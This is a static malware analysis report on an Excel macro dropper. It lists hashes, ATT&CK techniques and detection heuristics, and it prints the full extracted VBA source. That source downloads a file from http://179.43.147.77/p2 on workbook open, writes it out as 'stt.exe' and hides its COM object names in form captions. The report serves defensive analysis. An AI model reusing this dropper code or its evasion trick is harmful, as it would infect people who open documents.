Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c05f5f4559ce43fb…

MALICIOUS

Office (OLE)

202.0 KB Created: 2019-05-18 07:27:21 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 05e8cd144e276fb6c7f91fb3b56a7747 SHA-1: de69cbe279c63e06dfef878b8581723a372d81e1 SHA-256: c05f5f4559ce43fbcefdcbf76c7a9e71db4db97afe45786b5c7e924aa130fcfb
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The VBA macros in this Excel file contain a Workbook_Open event that triggers the execution of malicious code. This code utilizes CreateObject to download a file from the URL http://179.43.147.77/p2 and save it to disk, likely for execution. The presence of the SC_STR_CMD heuristic further suggests command-line execution, reinforcing the dropper functionality.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6997659-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6997659-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        .write AppControl.Var_Q_1.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set AppControl.Var_Z1 = CreateObject(AppControl.Label2.Caption)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub WorkBook_open()
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://179.43.147.77/p2�� Referenced by macro
    • http://t2.symcb.com0Referenced by macro
    • http://tl.symcd.com0&Referenced by macro
    • http://t1.symcb.com/ThawtePCA.crl0Referenced by macro
    • http://tl.symcb.com/tl.crl0Referenced by macro
    • https://www.thawte.com/cps0/Referenced by macro
    • https://www.thawte.com/repository0WReferenced by macro
    • http://tl.symcb.com/tl.crt0Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas🔏 SignedVBA project digital signature
Covers VBA source only — not the compiled p-code. A digital signature does not by itself mean the macro is safe.		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 2966 bytes
SHA-256: f92f7ee8b6ae3e2eb79f17cde7841c72ca0213263214ca07c5ce2a311ac62738
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_open()
Pr.Show



End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Public Sub Anykey()
Dim time
time = Format(Now + TimeSerial(0, 1, 1), "hh:mm")

ExecuteExcel4Macro "MESSAGE(True, ""Debug"")"
#If Run Then

Dim varSet5
Dim varSet6
Dim varSet7
Dim varSet9
Dim varSet8
Dim varSet11
Dim varSet12


#End If
End Sub



Attribute VB_Name = "AppControl"
Attribute VB_Base = "0{F463D28B-7163-4835-96D7-3FA4086B3817}{09E8B003-CAAB-483C-AABD-F80A86FFA176}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
 Public Var_Z1 As Object
Public Var_Q_1 As Object
 Public Var_Z2 As Object
Public Var_Q_2 As Object
 Public Var_Z3 As Object
Public Var_Q_3 As Object



Public Sub Label5_Click()
Dim varSet5
Var_Q_1.Open Me.Label3.Caption, Me.T10_Text.Tag, False
Dim varSet6
End Sub

Public Sub S1000()

End Sub
Public Sub frfr4()

End Sub


Attribute VB_Name = "Modu"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public Sub Attention()

Sheet1.Anykey


Set AppControl.Var_Z1 = CreateObject(AppControl.Label2.Caption)
Dim varSet4

Set AppControl.Var_Q_1 = CreateObject(AppControl.Label1.Caption)
Dim varSet3
AppControl.Label5_Click
AppControl.Var_Q_1.Send

With AppControl.Var_Z1
    .Type = 1
End With
    AppControl.Var_Z1.Open
With AppControl.Var_Z1
    .write AppControl.Var_Q_1.responseBody

End With
#If Exec Then
    AppControl.Var_Z1.savetofile "stt.e" & "xe", 2

#End If

ExecuteExcel4Macro AppControl.T10_Text.Text
ExecuteExcel4Macro "MESSAGE(True, ""4tear"")"
End Sub

Attribute VB_Name = "Pr"
Attribute VB_Base = "0{A8F45BD2-7971-4E44-8C30-4DBBBF7B51A1}{92DABAE7-8ACE-40AA-B958-9010C98F4967}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Activate()

FUnt
Unload Me
End Sub
Sub FUnt()
Dim rd1 As New Modu
rd1.Attention

End Sub

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